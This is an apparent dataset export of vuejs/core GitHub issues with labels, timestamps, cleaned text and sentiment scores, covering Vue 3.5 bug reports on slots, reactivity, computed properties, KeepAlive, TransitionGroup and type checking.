_No response_",":hammer: p3-minor-bug,scope: custom elements",2025-09-16 14:39:44+00:00,2025-09-24 09:15:38+00:00,0,":hammer: p3-minor-bug,scope: custom elements",7.7749,custom element slots outside teleport not rendered when using shadowroot false regression from vue version vue regression introduced by pr that closed issue link to build the component above as a custom element with shadowroot false mount it in a page with both headercontent and bodycontent slots observe the rendered dom what is expected both headercontent outside teleport and bodycontent inside teleport should render the slot collection should check both the host root and the teleport target what is actually happening when the component is built as a custom element with shadowroot false only the slots inside the teleport are rendered any slots defined outside the teleport e g headercontent are ignored so their projected content never appears in the dom root cause in apicustomelement ts slots are collected via system info any additional comments no response,bug,-0.5423
vuejs/core,3422521075,ECharts Tooltip 不显示问题 - Vue Ref vs 普通变量,"### Vue version

3.5.21

### Link to minimal reproduction

https://github.com/trry-hub/issues/tree/echarts

### Steps to reproduce

## 问题描述

在 Vue 3 + ECharts 项目中，当使用 Vue 的 `ref()` 来存储 ECharts 实例时，图表的 tooltip 无法正常显示。但使用普通变量存储 ECharts 实例时，tooltip 可以正常工作。



### What is expected?

两种方法都应该能够正常显示 tooltip，当鼠标悬停在图表上时应该显示相应的数据信息。

### What is actually happening?

## 环境信息

- **Vue 版本**: 3.5.21
- **ECharts 版本**: 6.0.0
- **TypeScript 版本**: 5.9.2
- **构建工具**: Vite 7.1.5

## 复现步骤

### 方法一：使用普通变量（tooltip 正常工作）

```typescript
let chartInstance: null | echarts.ECharts = null
const chartDom = ref()

async function renderChart() {
  if (!chartInstance) {
    chartInstance = echarts.init(chartDom.value)
  }
  chartInstance.setOption(option)
}
```

### 方法二：使用 Vue ref（tooltip 不工作）

```typescript
const chartInstanceVueRef = ref()
const chartDomUseRef = ref()

async function renderChartUseRef() {
  if (!chartInstanceVueRef.value) {
    chartInstanceVueRef.value = echarts.init(chartDomUseRef.value)
  }
  chartInstanceVueRef.value.setOption(option)
}
```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) arm64 Apple M1
    Memory: 94.39 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - ~/.volta/tools/image/node/22.19.0/bin/node
    npm: 10.9.3 - ~/.volta/tools/image/node/22.19.0/bin/npm
    pnpm: 10.15.1 - ~/.volta/bin/pnpm
  Browsers:
    Chrome: 140.0.7339.133
    Safari: 18.6
```

### Any additional comments?

## 实际行为

- **方法一（普通变量）**: tooltip 正常显示 ✅
- **方法二... [TRUNCATED]",,2025-09-16 14:22:46+00:00,2025-09-17 05:56:12+00:00,0,nan,0.6482,echarts tooltip vue ref vs vue version link to vue echarts vue echarts tooltip echarts tooltip what is expected tooltip what is actually happening vue echarts typescript vite tooltip vue ref tooltip system info any additional comments tooltip truncated,others,0.0
vuejs/core,3409002622,Errors/Rejections from a Promise in setup are not captured by onErrorCaptured or errorHandler,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNqVk99r2zAQx/+VQy92abAD3VOXFLYSWAfbSlfYi16CfUmUyZLRjyTD+H/fSXLjrDRhfQiR7r4nfXz3Vcc+tW2x88hu2cxWRrQOLDrf3nElmlYbB19QSv1LG1nDyugGsqIcQ6E0O0o7rRbGaHO/bJ03WPepgjNScfaRK65eKfIcjbmC+R10XAFUWlktsZB6nWcPCga47Op1MlRx1dNvViZsAqaNw6aVS4e0A5iNnCUFZuVJlrbW/ZEIttIt1ilSxhCt2YQ5SqiVWBdbqxV1J/JxVummFRLNj9YJ4uHsNpGH3JJu23+NMWc8Tl7i1Qar32/Et/YQYpw9GrRodtSjY84tzRpdSi9+fscDrY/JRtdekvpC8gmpVz4wJtlnr2rCPtFF2oc4OKHWz3ZxcKjsy0cF0KDsoz5O8P7Cp4+4N8WHWEfToS7+65TzJiPnfNNeOawnYHA1GCdL7gqDdzR+ysM8pPMpDZ4rhXt4JJ2wmOfUQi13GMq3WLnRU3TTs2hQe5fnYzTYic4rdkvpEa6vUyzV5tlT/MfB8Zt9MmA/gZvpNNwdjBe8PDCfHvx/UOex3gY7h+ZVkxAS4SkjrY+kbmP0PqLF15dntTB0CtAz0gaESuMIZ1x+ULXYgajnwdJC1pzFKEDXDdPpaewkK0n3ngfH+r/BgIbA

### Steps to reproduce

### main.js
```
import { createApp } from 'vue'
import './style.css'
import App from './App.vue'

const app = createApp(App)
app.config.errorHandler = (err, ins, info) => {
    console.log('In global error handler')
    console.log(err)
}

app.mount('#app')
```

### App.vue
```
<script setup>
import HelloWorld from './components/HelloWorld.vue'
import {onErrorCaptured} from ""vue"";

onErrorCaptured((err) => {
  console.log('In App.vue')
  console.log(err)
})
</script>

<template>
  <HelloWorld/>
</template>
```

### HelloWorld.vue
```
<script setup>
import {ref} from 'vue'
const count = ref(0)

new Promise((resolve, reject) => {
  setTimeout(() => {
    count.value ++
    reject('Rejected from hw')
  }, 3000)
}... [TRUNCATED]",,2025-09-12 06:01:17+00:00,2025-09-12 08:01:16+00:00,2,nan,0.0833,errors rejections from a promise in setup are not captured by onerrorcaptured or errorhandler vue version link to main js app vue helloworld vue import ref from vue const count ref new promise resolve reject settimeout count value reject rejected from hw truncated,bug,-0.6908
vuejs/core,3408499152,加载 远程组件后 __scopedId 不会在dom 上生成  data-v-属性,"### Vue version

3.5.18

### Link to minimal reproduction

sorry

### Steps to reproduce

project A:

main.ts

```
import Comp from '../src/lib-components/index'

export const Components = Comp;
export default {Components}
export const componentNames = Object.keys(Components)
```
/src/lib-components/index.ts

```
const UserQuery = () => import('./UserQueryComp.vue')
const UserDept = () => import('./UserDeptComp.vue')
export default  {
  UserQuery,
  UserDept,
}

```

project B:

```
  import( /* @vite-ignore */`http:${entry}/${conf.libEntry}`).then(async (module: any) => {
    console.log(module)
    let rawComponent = await module.Components.UserDept()
    rawComponent = rawComponent.default
    // DyComp.value = defineAsyncComponent(() =>Promise.resolve(rawComponent))
    const __scopeId = rawComponent.__scopeId || rawComponent.options?.__scopeId;

    DyComp.value = defineAsyncComponent(() =>
        Promise.resolve(rawComponent)
    )
    DyComp.value.__scopeId = __scopeId  // 我必须重新设置 scopeId 才能保证页面上有这data-v属性
    console.log(DyComp)
  })
```

但是这种情况不会发生在 Project B 中的异步组件上。

### What is expected?

不需要重新设置一些属性，可以像本工程中的组件一样使用

### What is actually happening?

scope 样式丢失

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-12 01:19:58+00:00,2025-09-12 07:37:54+00:00,0,nan,0.2625,scopedid dom data v vue version link to sorry project a main ts src lib components index ts project b project b what is expected what is actually happening scope system info any additional comments no response,others,-0.3612
vuejs/core,3405039634,Cannot correctly override onClick in v-bind,"### Vue version

3.5.13

### Link to minimal reproduction

https://cn.vuejs.org/

### Steps to reproduce

```vue
<script setup>
const { locale, t } = useI18n();

const items = [
    {
        title: 'change language',
        props: {
           onClick: () => (locale.value = locale.value === 'zh-CN' ? 'en-US' : 'zh-CN'),
        },
        disabled: true,
   },
]

const onClick = (e, item) => {
  if (item.disabled) return;

  item.onClick?.(e);

  if (item.children) {
    toggleExpand(item);
  }
};
</script>

<template>
<div
        v-for=""(item, i) in items""
        :key=""i""
        v-bind=""item.props""
        v-on:click=""(e) => onClick(e, item)""
      >
</div>
</template>
```

### What is expected?

The item's onclick should be blocked from being triggered because it's disabled.

### What is actually happening?

item.onclick is still triggered.


### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-11 06:40:40+00:00,2025-09-11 08:55:43+00:00,1,nan,0.0938,cannot correctly override onclick in v bind vue version link to what is expected the item s onclick should be blocked from being triggered because it s disabled what is actually happening item onclick is still triggered system info any additional comments no response,others,-0.5106
vuejs/core,3397534874,Declaring `defineModel` as shallow ref,"### Vue version

latest

### Link to minimal reproduction

n/a

### Steps to reproduce

n/a

### What is expected?

Ability to declare `defineModel` as a shallow ref, e.g. via `shallow: true` option

### What is actually happening?

There is no way (as of my current knowledge) to declare `defineModel<Files[]>()` so that it is a shallow ref array. Otherwise, deep ref breaks reactivity for files.

### System Info

```shell

```

### Any additional comments?

Workaround is to break down what `defineModel` abstracts into a prop and event emit.",need more info,2025-09-09 09:30:47+00:00,2025-09-09 16:06:46+00:00,4,need more info,0.275,declaring as shallow ref vue version latest link to n a n a what is expected ability to declare as a shallow ref e g via option what is actually happening there is no way as of my current knowledge to declare so that it is a shallow ref array otherwise deep ref breaks reactivity for files system info any additional comments workaround is to break down what abstracts into a prop and event emit,others,0.0258
vuejs/core,3387026313,type inference when passing Union types to generic components.,"### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U8GO0zAQ/ZWROaSVqpQGuERp0YL2AIJlxfZW9xASN+vFsS3bKV2F/Dtjp8m2gq7EYXOKZ96M3xu/acmV1vG+YSQlmS0M1w4sc40GkctqSYmzlKyo5LVWxsFHVWvYGVVDFM/9wZdGVFJZKGkdCG7dApbwNXf3scllqerJFFbwOn4H72GzmEGyhRQ20SKaQZREW1/qHjWDL1iZYOXkpql/MAO/4c4ZLqvpBjFPzZN0RP7HHdm8l4ZC8OBYrUXuGJ4AsiAp9b1RbeCPgkcMvCrZLm+ET7aBAXRhIBC+doh1fSSbnzcPM7pwT/IC95zEyQzfDge341X8YJXEB249lpICsVww8007joOlJIWQ8blcCPXrc4g507DZEC/uWfHzH/EHe/AxSm4Ns8zsGSVjzuWmYq5PX9/dsAP+j8lalY1A9DPJ78wq0XiOPexDI0ukfYILbD8Fa6JV1vb64Ji0gyhP1CO7gKcErerHdEn6E9038dtQR2WHUxxs/tyGQMUkM7zA4/p0X4K1W7g1Sq/9b9cvT+BCyWBsjWmLjkYLcMk82E4CLf/mI0PfK4UrY/JHyO3YM1tvtqvjRI4eSgEXYrkCvzq9jOmlHfiLOJqp5Puj8TIrlDszLUqdHy3Xw86cSLo/IoxmRQ==

### Steps to reproduce

open Link to minimal reproduction.
Type 'number[] | string[]' is not assignable to type 'number[]'.
  Type 'string[]' is not assignable to type 'number[]'.

### What is expected?

The type of list in component Comp should be `string[] | number[]`.

### What is actually happening?

The type of list in component Comp is `number[]`.

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M2 Pro
    Memory: 62.25 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - ~/.n/bin/node
    npm: 10.9.3 - ~/.n/bin/npm
    pnpm: 10.15.0 - ~/.n/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.157
    Safari: 18.6
  npmPackages:
    vue: ^3.5.20 => 3.5.21
```

### Any additional comments?

The type of list... [TRUNCATED]",scope: types,2025-09-05 10:15:43+00:00,2025-09-05 12:45:43+00:00,2,scope: types,0.1042,type inference when passing union types to generic components vue version link to open link to type number string is not assignable to type number type string is not assignable to type number what is expected the type of list in component comp should be what is actually happening the type of list in component comp is system info any additional comments the type of list truncated,others,0.2263
vuejs/core,3386938108,"When a child component executes slots.default in the template and uses the slot parameters of the parent component in slots.default, the child component cannot respond to the slot parameter updates","### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VE1zmzAQ/Ss76sF44oG6aS+u7X5kcmgPbSbprXQ6BNaGREiMJBx3GP57VxJg48S52Kze0368XW3DvlRVuKuRLdhSp6qoDGg0dbWORVFWUhm4kmUFGyVLmISRNSx98nGEz0eE+QnjJlEozEDxZs9ZRj4sBSTDYFnxxCBZAEvPdN9k9Ri8yXCT1NysYtZAKmvy3casoxHR5rBuBqhduqzG+Pw5Yd4HisZZdAmTMULYjBmdSrEptuGDloIUbCw/Zik5Kziqn5UppNAxW4BDLJZwLp++uzOjapz152mO6eML5w96b89idqNQo9phzAbMJGqLxsPXdz9wT98DWMqs5sR+BbxFLXltc/S0r7XIKO0jnsv2m+tiIba/9PXeoNB9UTZRy2wdP2bUUavjudIP6V6G7929WLSkYj9TdgTHyt+iyFBd5QXPqAMQnbaAzOOZBZ6ILQ2FobiH+W2g1njHpdEzyKHtxrCbvlhQBzXdtzisBmowPQJP0lhBMIXV2hfmGekBc57CbkI/hc4RQBRBmfy7R8gkaFmiyUlPeCpMPtwNLU9RHUpAHkyyYjeZQdPOBoL1RJIdPZhOPPfejh7wGRkop0K4DklB8/yiGrh35C790yuBK9lpHVRKVqRo00nXTvtGdyV4jYZCfj/T5c+0nwFb2Liqw4o4v5cairQZVXDomH/YK8sI5hTHnyZZNjTPMcJdwmu8uHh9C1EB/Wa4r42RAj6nvEgfSWLySBrT7zLyUE+01cLCBSGa+4+ZG2C7ULzH023yd4fKvi0q+TL8EL57y9r/gTri0Q==

### Steps to reproduce

1. create a component A that provides scoped slot.
2. create a component B that calls slots.default in template.
3. use the slot parameters of component A in the default slot of component B
4. update the slot parameters of component A and component B not update.

### What is expected?

Contents of component B should be updated when parameters change.

### What is actually happening?

Contents of component B not update when parameters change.

### System Info

```shell

```

### Any additional comments?

by the way, calling slots.default directly in renderFunction of ComponentB wil... [TRUNCATED]",,2025-09-05 09:45:20+00:00,2025-09-05 12:23:51+00:00,1,nan,0.1101,when a child component executes slots default in the template and uses the slot parameters of the parent component in slots default the child component cannot respond to the slot parameter updates vue version link to create a component a that provides scoped slot create a component b that calls slots default in template use the slot parameters of component a in the default slot of component b update the slot parameters of component a and component b not update what is expected contents of component b should be updated when parameters change what is actually happening contents of component b not update when parameters change system info any additional comments by the way calling slots default directly in renderfunction of componentb wil truncated,others,0.4939
vuejs/core,3384475340,TransitionGroup's move animations don't work when moved to another document,"### Vue version

3.5.21

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-gybe4tgi?file=src%2FApp.vue

### Steps to reproduce

- Open the preview window in a new tab as the repro won't work otherwise
- Press the shuffle and add buttons -> Both animations work correctly
- Press the move to new window button -> Only the enter animation works correctly, the move animation doesn't work

### What is expected?

The move transition should work like the enter transition.

### What is actually happening?

There is no move transition.

### System Info

```shell

```

### Any additional comments?

My goal with this is to move a component to a Picture-in-picture window using the `window.documentPictureInPicture` API.
I'm not sure if this use case is supported, but as all other parts work perfectly, it would be great to get the move transitions working.
I found #10610 while researching this, so it seems at least somewhat plausible that this should be supported.","scope: transition,🔩 p2-edge-case",2025-09-04 16:20:37+00:00,2025-09-25 00:42:53+00:00,0,"scope: transition,🔩 p2-edge-case",20.3488,transitiongroup s move animations don t work when moved to another document vue version link to open the preview window in a new tab as the repro won t work otherwise press the shuffle and add buttons both animations work correctly press the move to new window button only the enter animation works correctly the move animation doesn t work what is expected the move transition should work like the enter transition what is actually happening there is no move transition system info any additional comments my goal with this is to move a component to a picture in picture window using the api i m not sure if this use case is supported but as all other parts work perfectly it would be great to get the move transitions working i found while researching this so it seems at least somewhat plausible that this should be supported,documentation,0.9588
vuejs/core,3382921606,Regression in prop type checking of imported type literal unions,"### Vue version

min. 3.5.19

### Link to minimal reproduction

https://github.com/dbohn/vue-type-union-regression

### Steps to reproduce

After checking out the reproduction repository, run

```
npm install
npm run build
```

Please note, that this issue persists up to the latest patch version. This can be checked by increasing the patch version in the `package.json` file and run the above steps again.

### What is expected?

Up to Vue 3.5.18, the build succeeded without any issues, as `right-end` is a valid value of the imported `Placement` type.

### What is actually happening?

Build fails with the following error:

```
error during build:
[vite:vue] [@vue/compiler-sfc] Default value of prop ""placement"" does not match declared type.

/.../vue-floating-default/src/components/HelloWorld.vue
3  |  import { ref } from 'vue'
4  |
5  |  const {placement = 'right-end'} = defineProps<{ msg: string, placement?: Placement }>()
   |                     ^^^^^^^^^^^
6  |
7  |  const validPlacement: Placement = 'right-end';
```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (22) x64 Intel(R) Core(TM) Ultra 7 155H
    Memory: 4.56 GB / 15.37 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
  npmPackages:
    vue: 3.5.19 => 3.5.19
```

### Any additional comments?

We have a set of components, that use ... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug,regression",2025-09-04 09:33:11+00:00,2025-09-24 09:29:39+00:00,0,"scope: sfc,:hammer: p3-minor-bug,regression",19.9975,regression in prop type checking of imported type literal unions vue version min link to after checking out the reproduction repository run please note that this issue persists up to the latest patch version this can be checked by increasing the patch version in the file and run the above steps again what is expected up to vue the build succeeded without any issues as is a valid value of the imported type what is actually happening build fails with the following error system info any additional comments we have a set of components that use truncated,bug,0.1779
vuejs/core,3378773860,vue3 keep-alive not working with slot,"### Vue version

3.5.12

### Link to minimal reproduction

https://play.vuejs.org/#eNqtlFFv0zAQx7/KYSFt00oC3fYS0oqB9gBIgBjihSCUpW6a1bUj20k7RfnunO0kS7J22qS92Xf/8/2d+8UVucxzrywoCUioEpnlGhTVRT6PeLbJhdTwSWxyWEqxgSPPNxsjP3o/yE8HgukDRcE1lT2N3beq0HeNsSVuNN3kLNYUdwChOc6u7NqWzcP2ACexLd1yJcG3p+A6nxcpu4ObQsNWyHUQ+o3I+S3fKCb0LCIVqJXYQh2Rts9XSvNLlpXOQr81VmVLrDEVqB8aMVaGpc7aFNeh37sWmRCtEsGXWerdKsHx01dGHpEE5Rmj8nuuM8FVRAKwGZOLGRPbLzamZUEnbTxZ0WS9J36rdiYWkR+SKipLGpEup2OZUu3SV9ff6A7XXXIjFgVD9SPJn1QJVhiPTvax4Au03dNZt5/t+DOe/lJXO025ai9ljBplbfURQRDMlzp09Xu7Z965rYt4jV+xhXHMLrCYpzgmjcfcc1yBpMsJLOgy4/Qah6+gbpBsQMSZKA1lzGBmtMdvTwxLLmohcWHjHjO9g8LKHBsXTAdw7Hke+lUBxPzuz98TmM3NCur5MRY9xjqiqgWHDwnLknVDGbZ81dCmRZoyGvpONgAegIsGcxseExwa1ofw2gv1UTaShtoRxTdPbGLoFZzycacgU7h5bRoor/lOewx05XtcjP+f3gty+OGyA3/KjJ8zFKw8Pe3eiqqyR9UIpLHcjeah3+ZVfAaqY+eHSXxhqLp5O2yCA6SM7/ivpNL84XjFM+/Cezc1Ma1+d9EL79ybkvo/dUwnCg==

### Steps to reproduce

```tsx
<!-- App.vue -->
  <Comp>
    <Counter></Counter>
  </Comp>

<!-- Comp.vue -->
  <KeepAlive>
    <slot v-if=""show"" show=""show""></slot>
  </KeepAlive>
```
 
- The button shows `0`
- click number button
- button shows `1`
- click toggle button
- number button hidden
- click toggle button again
- the number button shows `0` ?? expected `1`

### What is expected?

KeepAlive work with slots

```tsx
  <KeepAlive>
    <slot v-if=""show"" show=""show""></slot>
  </KeepAlive>
  <!-- or -->
  <KeepAlive>
    <component v-if=""show"" :is=""$slots.default"" show=""show""></component>
  </KeepAlive>
... [TRUNCATED]",,2025-09-03 08:00:53+00:00,2025-09-04 05:18:11+00:00,1,nan,0.887,vue keep alive not working with slot vue version link to the button shows click number button button shows click toggle button number button hidden click toggle button again the number button shows expected what is expected keepalive work with slots tsx truncated,others,0.5423
vuejs/core,3371101742,"The ""computed"" section stores the components rendered by the ""h"" function, which causes errors in the entire reactive system.","### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uktu2zAQvQrBjWXEUPpbubZRt8iiXbRFW3RTdqFIo09CkQQ5dAwYuks3PUZuk9wjQ0qWhSDJRhTfzLx5jzMHvjUm3XngS75CaI3MEDZCMXY4MAU3vzPpgXXdgOwm19WlR9SKfchlk1+vBS+V4JusKFbnfYRoVucTTrq63DYGmQP0hslMVVSGjsqEalqjLbJDoLZQLsKZ69Z4hCJe6vgtoGwUfKKAVqCQsI6VVrdMcHIh+PvQJ9fK4SB2HdiSV3MKTODXI36Et4Q8Ik9Cw2TO1pteVhCG3qoBq5NZ/Wa2YLO723/3/29noQVjXZQ55BurjVuyP4Jnl7ngf2OMXu+kZnzj9eg2mbQMSVpCKnWV1Ml23vcYZPRO0ngQ3p1YS0V8E5qY0ieenVFmmEw/izgXofiC5kC1ZVOlV04rWodYKHhQ1Uiw3ww2xC348miOTEmpb75EDK2H6C7W1JBfP4FfuX3ABP9uwYHd0bzGGGa2AuzDFz+/wp7+x2CrCy8p+4XgD6CH8kFjn/bRq4JkT/Ki2s9xzRpV/XIXewTljqaC0NP84jaFRXjO+knu2/TdMNWOdw8ADBmG

### Steps to reproduce

Click the ""add"" button to view the console output.

### What is expected?

Click the ""add"" button to view the console output.When I was packaging the dynamic form components, I encountered a scenario where I used the computed method to render custom components using the h function. This affected my development process. I hope it can be fixed as soon as possible!

### What is actually happening?

Hope it can be fixed as soon as possible!

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-01 03:50:02+00:00,2025-09-01 03:59:33+00:00,1,nan,0.0066,the computed section stores the components rendered by the h function which causes errors in the entire reactive system vue version latest link to click the add button to view the console output what is expected click the add button to view the console output when i was packaging the dynamic form components i encountered a scenario where i used the computed method to render custom components using the h function this affected my development process i hope it can be fixed as soon as possible what is actually happening hope it can be fixed as soon as possible system info any additional comments no response,bug,0.4678
vuejs/core,3370095643,type 检测警告,"### Vue version

 v3.5.20

### Link to minimal reproduction

https://stackblitz.com/edit/9mw9wken?file=package.json

### Steps to reproduce


 当我定义一个props：
`title?: VNode | string | (() => VNode | string);`



### What is expected?

无事发生

### What is actually happening?

<img width=""918"" height=""108"" alt=""Image"" src=""https://github.com/user-attachments/assets/7cc3d3d7-0055-4224-b640-e685cdc92708"" />
Invalid prop: type check failed for prop ""title"". Expected Function, got String with value ""✨ Inspirational Sparks and Marvelous Tips"". 

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-31 10:06:35+00:00,2025-08-31 10:24:41+00:00,2,nan,0.0126,type vue version v link to props what is expected what is actually happening invalid prop type check failed for prop title expected function got string with value inspirational sparks and marvelous tips system info any additional comments no response,others,0.6249
vuejs/core,3370085500,"When the label is looped for and contains a radio button, clicking on the text in the label results in the click event function bound to the label outputting twice","### Vue version

3.5.20

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UttOwzAM/ZUoL4AELdeXqZu4CAkQAgS8EYRK642wNIlyKZuq/jtOuq0DTWulNj62j48dN/RC66T2QAc0s4Xh2hELzusRk7zSyjjSEANj0pKxURXZwdAdJsNbKGkdEfkniHuOpyF5Y5KQJnxIhw8Yjf+DI0b3O7zOhQfE4x/hgLbRtzHxeHMiwjGRyfdeipI3uSxRxy53UO0NR5Ex+JSARKhJhzOJaVnaNYttooGwFrkDtAjJSl7HQ3iyKAOrH4yVGTIaGAiXfduMksEU5gtXEtUhdl4IXkwR7UQtKtMVLzKHES8NNK3O5ahpIktkb1sUGcA/YVxq74iba0Byk5dcBQWx7D8N6XqxtK+WpZG+6zXtms3StRHQfeosjm3MJ8m3VRJXI06S0UJVmgswj9pxHCujg+WtMZoLoX7uIuaMh8WtYc4XFNMN+LedBYzRJwMWTI2KVz6XmwngaIP7+uUBZnheOStVeoHRW5zPgFfug8Yu7NLLEmWvxUW1t3HBuZy82uuZA2mXTQWh/WLiznm42tJ6L/ckOV3sZYtT/KjBBE4c4Elylhwf0vYXgBAZ1A==

### Steps to reproduce

Click on the text in the label

### What is expected?

Print function output once

### What is actually happening?

The output function was printed twice

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-31 09:56:51+00:00,2025-08-31 11:03:10+00:00,2,nan,0.0461,when the label is looped for and contains a radio button clicking on the text in the label results in the click event function bound to the label outputting twice vue version link to click on the text in the label what is expected print function output once what is actually happening the output function was printed twice system info any additional comments no response,others,-0.296
vuejs/core,3370050373,Stale computed variable under Vue 3.5,"### Vue version

3.5.20

### Link to minimal reproduction

https://gist.github.com/cj1128/49cb31b1f226882d45e9ba7035ea2d93

### Steps to reproduce

Run this code under Vue 3.5.20.

```js
import { ref, computed, watchEffect } from ""vue""

const T = ref(false)

const A = computed(() => {
  if (T.value) {
    return B.value % 2 === 0 ? 2 : 3
  } else {
    return 1
  }
})

const B = computed(() => {
  return A.value + 1
})

watchEffect(() => {
  console.log(""===="")
  console.log(""A"", A.value)
  console.log(""B"", B.value)
})

setTimeout(() => {
  T.value = true
}, 100)

// output
/*
====
A 1
B 2
====
A 2
B 2
*/
```

### What is expected?

after setting `T.value = true`, A's value should be `2` and B's value should be `3`, or B's value should be always A's value + 1.

### What is actually happening?

B's value is stale.

### System Info

```shell

```

### Any additional comments?

Vue 3.4 will report error `Unhandled error during execution of scheduler flush` about this case which is better IMO because at least it reminds developers to check the code.",,2025-08-31 09:19:10+00:00,2025-09-01 03:55:02+00:00,3,nan,0.7749,stale computed variable under vue vue version link to run this code under vue what is expected after setting a s value should be and b s value should be or b s value should be always a s value what is actually happening b s value is stale system info any additional comments vue will report error about this case which is better imo because at least it reminds developers to check the code,others,0.872
vuejs/core,3368711763,Indirect ref to unpacked getters cannot make them responsive,"### Vue version

3.5.20

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVd2O2jgUfpWjrFad0Q4B0u1NlhktrHqxe7Gt2l4iVSZxwNPEjmyHASHevcc/CYYBCi25iOLz/51z8nkTjes6XjY0SqORplVdEk2fphzwGeVsCVlJlHqcRpngmjBO5TTyamfQHfC4GD6NR318B7JZo7Xg8HdWsuwbxiExyXOMMc5zKBgt81HfmewFSrq8kqpacMWWFJ2sQwqbDZDYfsN2iwmTS3znVGsqvbM7HHqP+iGgI+jerzTlWPF5iNRa3Qanj3UB2IafgutjHMd8tv4kBJBcjSB5BSG5emB7Mbzo6rlNfjSy2W2mNfuVrZxdPiFb7k2G4yv+2bm0NZ8dSfs96gcEM1KZZLUGRXVT45lVtZAaNiBpAVsopKjgDfLSm78CXSYpeo8f/D6MtZg8eOGkc4r7jGNJBcmoMt7IXEoDgUcT+s6HuLu/71QumNfvIgemO9vZXpiJCzPqOzAWll6XFFQmaprj2VDoxrShInLOeJoM6hV6AMyEzKnsSZKzRqUwbOUvLNeLtGC6ZxiXcm2lFeM9p4Hhu9+taEHZfKHT4WDgzjlT2Nt1WpTURTIfvZxJmmkmeAqZKJuKWxUp2Zz3GI4DU2eYhEorf26UZsW6TZ26GEoTacrYTrlfRIvIIUghqVegRMlymEuyDkD40tANV8m67Mk7CKTR4khPupZonEnPlhwUi1Hj7k46iL58OejQcnFZi6Rwnq/6EPTI+rxIUqdg3r6U3R9yqjm/DYqBNw6p+pS5pLmzVjXxDXcr1JMWFQxp5Qxw+8zOPUUPkca94wWbx89KcLzRrZu5u6ualVR+qA1MNY3w33W/Jt7HZSle/rMyLRv60MqzBc2+HZE/q5WRTaOPiIFKwwidDvcE6cCp33/+H8cWKCuRNyVan1F+ooi9MTU6s0nDcyw7sLPV/mvpgPH5F2UvZNWCMoUay621n0ZIH/+cgb4r9238p/XDfmIXd/QRa4Vd7M4wbp095fOmmvm1AJwYyQUv19By+p4WCTuFu3t4fIKlYH62SG1d7InnIXWQBYn2XJpDtbkYjiWiK8uhRcPtrrdUenef7vJJ5GLpl809HufAD8A8mNanxiSBaRBAL5hy94ovyjxuKO7BIl8777zgj0cYhq7uc3sKS8DZBOEgpMlpSHEck6CUtsfHISYXYExOgzziHvhdC7O7c87iOzKy8xh/fow369NVy3C7FuO//nVJpeEP/M3fxu/iZBBtvwOllxaL

### Steps to reproduce

Click the button under Extend.

### What is expected?

The getters should also be responsive.

### What is actually happening?

The fields are responsive, ... [TRUNCATED]",,2025-08-30 04:01:17+00:00,2025-08-30 06:36:59+00:00,2,nan,0.1081,indirect ref to unpacked getters cannot make them responsive vue version link to click the button under extend what is expected the getters should also be responsive what is actually happening the fields are responsive truncated,others,-0.5618
vuejs/core,3366903004,`Maximum call stack size exceeded` on large push over reactive array,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul1LwzAU/SuXvNhBzRB90m2g4oM+qKj4Ynwo3V0bTZOQj21a+t+9SVEnyCiU5p6PnNOkZ+fW8nVEdspmvnbSBvAYol0ILTtrXIAeHK5KelV1kGssYVOFuoUBVs50cEDaA6GFro32pJWfCPOkKI4mv2OXZ6NB8fI6ORM6uxSJX4LGzTPMF9ALDTAqKn+tA6ls5TzSZ5E45DjiRiFXpikEs9G3go0WJZw7V30UWTtJmwA4nhgF5/wPJvSQ8PTMpmNvakyLgJ1VVUBaAczao0Xfj6WGYTalZR5LbWOA9WFnlqjmgiWCYDDNFpQwdjF5LLPyFPrecYW6Ce0wpP129mAlC54arWTD37zRdAz5JwhWm85Khe7OBkmNBSOfhCSsUspsbvIsuIjl97xusX7/Z/7mt2km2L1Dj25NYX+wULkGwwhfPd7ilr5/QCoYFbH3gA9IpxFTxpF2EfWSYu/wctrrfJmkbp781Tag9t+lUtDEHDJfMLpPl3uq/8Y95idZR0fJhi8mhe5y

### Steps to reproduce

```
<script setup>
import { ref, reactive, watch } from 'vue'

const size = ref(1)

const r = reactive([]);
watch(size, newV => {
  const asInt = parseInt(newV)
  console.log(""push"", newV, Array(asInt));
  r.push(...Array(asInt))
});


</script>

<template>
  <h1>{{ size }}</h1>
  <input v-model=""size"" />

  cumulated size: {{r.length}}
</template>
```
Add number in the input in increasing size until the size is large enough (~50k in Chrome). While one can add multiple times 10k rows (e.g. to reach a cumulated size of 1 million), one can not add a large array (~50k).

### What is expected?

Data to be pushed smoohtly

### What is actually happening?

```
push 10 (10) [empty × 10]
VM470 about:srcdoc:164 push 100 (100) [empty × 100]
VM470 about:srcdoc:164 push 1000 (1000) [empty × 1000]
VM470 about:srcdoc:164 push 10000 (10000) [empty × 10000]
